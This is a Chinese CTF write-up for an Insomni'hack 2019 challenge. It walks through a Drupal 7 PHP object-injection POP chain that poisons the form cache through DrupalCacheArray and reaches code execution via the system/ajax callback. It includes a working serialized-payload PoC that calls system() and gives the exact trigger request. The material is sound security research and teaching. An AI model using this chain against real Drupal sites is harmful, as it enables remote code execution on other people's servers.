在Insomni’hack主持的一场CTF比赛中有一道Drupal 7对象注入的题目,本篇文章将介绍一下该题目的解法。
出题人基于Drupal 7.63搭建了一个网站,并想Drupal中添加了一个Cookie,包含一段PHP序列化字符串,提示这里存在一个反序列化漏洞入口。发现这个Tip非常简单,所以要想拿到Flag,关键在于寻找Drupal中的POP利用链。
提示~要搞懂这篇文章里的知识点,还需要一些PHP反序列化漏洞(PHP对象注入)知识基础。
我们在Drupal源代码中发现了下文中的二阶POP链,该POP链影响了Drupal的缓存机制。通过该POP链可以将Payload注入到缓存中,起到和Drupalgeddon 2一样的利用效果。
此POP链包括以下两个步骤:
在includes/bootstrap.inc中存在一个名为DrupalCacheArray的类,DrupalCacheArray类中实现了自己的destructor,并通过set()方法,将一些数据写到了数据库缓存中,也就产生了POP链的入口。
/**
* Destructs the DrupalCacheArray object.
*/
public function __destruct() {
$data = array();
foreach ($this->keysToPersist as $offset => $persist) {
if ($persist) {
$data[$offset] = $this->storage[$offset];
}
}
if (!empty($data)) {
$this->set($data);
}
}
这个set()方法底层调用了cache_set()方法,并传入了对象中的属性:$this->cid/$data/$this->bin,攻击者可以通过注入对象,控制这三个值。
protected function set($data, $lock = TRUE) {
// Lock cache writes to help avoid stampedes.
// To implement locking for cache misses, override __construct().
$lock_name = $this->cid . ':' . $this->bin;
if (!$lock || lock_acquire($lock_name)) {
if ($cached = cache_get($this->cid, $this->bin)) {
$data = $cached->data + $data;
}
cache_set($this->cid, $data, $this->bin);
if ($lock) {
lock_release($lock_name);
}
}
}
cache_set()和Drupal缓存之间到底是什么关系呢?我们可以通过观察Drupal缓存的结构来回答这个问题。
通过观察Drupal缓存的内部结构,我们可以发现缓存的数据被保存在了数据库中,每种缓存类型都有单独的数据表。(例如表单缓存、页面缓存)
MariaDB [drupal7]> SHOW TABLES;
+-----------------------------+
| Tables_in_drupal7 |
+-----------------------------+
...
| cache |
| cache_block |
| cache_bootstrap |
| cache_field |
| cache_filter |
| cache_form |
| cache_image |
| cache_menu |
| cache_page |
| cache_path |
...
通过代码逻辑,我们可以得知,数据库中的表名对应的是$this->bin的值。因此,我们可以将数据注入到任意缓存表中。
接下来查看一下缓存表的数据结构:
MariaDB [drupal7]> DESC cache_form;
+------------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+------------+--------------+------+-----+---------+-------+
| cid | varchar(255) | NO | PRI | | |
| data | longblob | YES | | NULL | |
| expire | int(11) | NO | MUL | 0 | |
| created | int(11) | NO | | 0 | |
| serialized | smallint(6) | NO | | 0 | |
+------------+--------------+------+-----+---------+-------+
存在一个名为cid的列,以及一个名为data的列,猜测cid为$this->cid的值,data为$data的值,是攻击者可以控制的。
口说无凭,瞎猜误事儿。下面我们通过一个小测试来验证猜想,在本地创建一个类,构造序列化字符串:
class SchemaCache {
// Insert an entry with some cache_key
protected $cid = "some_cache_key";
// Insert it into the cache_form table
protected $bin = "cache_form";
protected $keysToPersist = array('input_data' => true);
protected $storage = array('input_data' => array("arbitrary data!"));
}
$schema = new SchemaCache();
echo serialize($schema);
我们使用SchemaCache类,由于SchemaCache类继承了抽象类DrupalCacheArray,所以他不会自动实例化,这样就不会导致一些意外情况干扰实验。按照我们的猜想,注入此向量,将创建一个名为cache_form的数据表,并通过$this->cid、$data将数据带入。
MariaDB [drupal7]> SELECT * FROM cache_form;
+----------------+-----------------------------------------------------------+--------+------------+------------+
| cid | data | expire | created | serialized |
+----------------+-----------------------------------------------------------+--------+------------+------------+
| some_cache_key | a:1:{s:10:"input_data";a:1:{i:0;s:15:"arbitrary data!";}} | 0 | 1548684864 | 1 |
+----------------+-----------------------------------------------------------+--------+------------+------------+
这说明我们的猜想是OK的~
现在我们能将任意数据写入到任意缓存表中,接下来要做的,就是观察Drupal缓存的使用点,寻找可以命令执行的功能点。
对使用点挨个审计的过程中,发现了一处Ajax回调,可以通过http://drupalurl.org/?q=system/ajax
触发以下函数:
function ajax_form_callback() {
list($form, $form_state, $form_id, $form_build_id, $commands) = ajax_get_form();
drupal_process_form($form['#form_id'], $form, $form_state);
}
ajax_form_callback()方法使用了cache_get(),从cache_form表中获取数据。
if ($cached = cache_get('form_' . $form_build_id, 'cache_form')) {
$form = $cached->data;
...
return $form;
}
根据Drupal的渲染机制,这很可能意味着我们可以将缓存表中的可控数据,传递给drupal_process_form()方法,从而实现任意代码执行。就像之前提到的 Drupalgeddon 2利用链就是利用了这一特性。
在drupal_process_form()中,我们发现了以下代码:
if (isset($element['#process']) && !$element['#processed']) {
foreach ($element['#process'] as $process) {
$element = $process($element, $form_state, $form_state['complete form']);
}
$element是通过cache_get()方法获取的缓存表中的数据数组,通过上文,可知该数组的key和value是可控的。所以,我们可以通过设置$process的值,来回调任意函数,并使用数组给回调函数提供参数。
由于第一个参数是数组,所以不可能简单地直接调用system()函数。我们需要找一个第一参数为数组,并能最终实现RCE的函数。
搜寻一番,就能发现,drupal_process_attached()满足我们的需要:
function drupal_process_attached($elements, $group = JS_DEFAULT, $dependency_check = FALSE, $every_page = NULL) {
...
foreach ($elements['#attached'] as $callback => $options) {
if (function_exists($callback)) {
foreach ($elements['#attached'][$callback] as $args) {
call_user_func_array($callback, $args);
}
}
}
return $success;
代码中的任意变量都可控,因此可以通过call_user_func_array()实现RCE。
最终的POP链如下:
<?php
class SchemaCache {
// Insert an entry with some cache_key
protected $cid = "form_1337";
// Insert it into the cache_form table
protected $bin = "cache_form";
protected $keysToPersist = array(
'#form_id' => true,
'#process' => true,
'#attached' => true
);
protected $storage = array(
'#form_id' => 1337,
'#process' => array('drupal_process_attached'),
'#attached' => array(
'system' => array(array('sleep 20'))
)
);
}
$schema = new SchemaCache();
echo serialize($schema);
接下来要做的,就是通过反序列化入口(题目中刻意构造的Cookie入口)将POC产生的序列化数据注入到Drupal缓存中,然后发送POST请求http://drupalurl.org/?q=system/ajax
,并将POST参数form_build_id
设置为1337
从而触发RCE。
POP利用链通常比较复杂,需要对程序的功能结构以及PHP语法特性很熟悉。这篇文章的目的是证明即使没有明显的一阶POP链,仍然可以尝试利用。我们在寻找POP链时,知道Drupal的渲染API在过去使用了很多回调写法,更容易实现利用,所以才朝着这个方向努力,最终找到了这个POP链。当然,对PHP语法特性的精准掌握也能让我们更容易找到新的利用链。
这里还有另一个POP链,通过反序列化漏洞到XXE盲打再到任意文件读取再到SQL注入最后实现RCE,由Paul Axe提供。
再次感谢高质量的Insomni’hack CTF 2019比赛。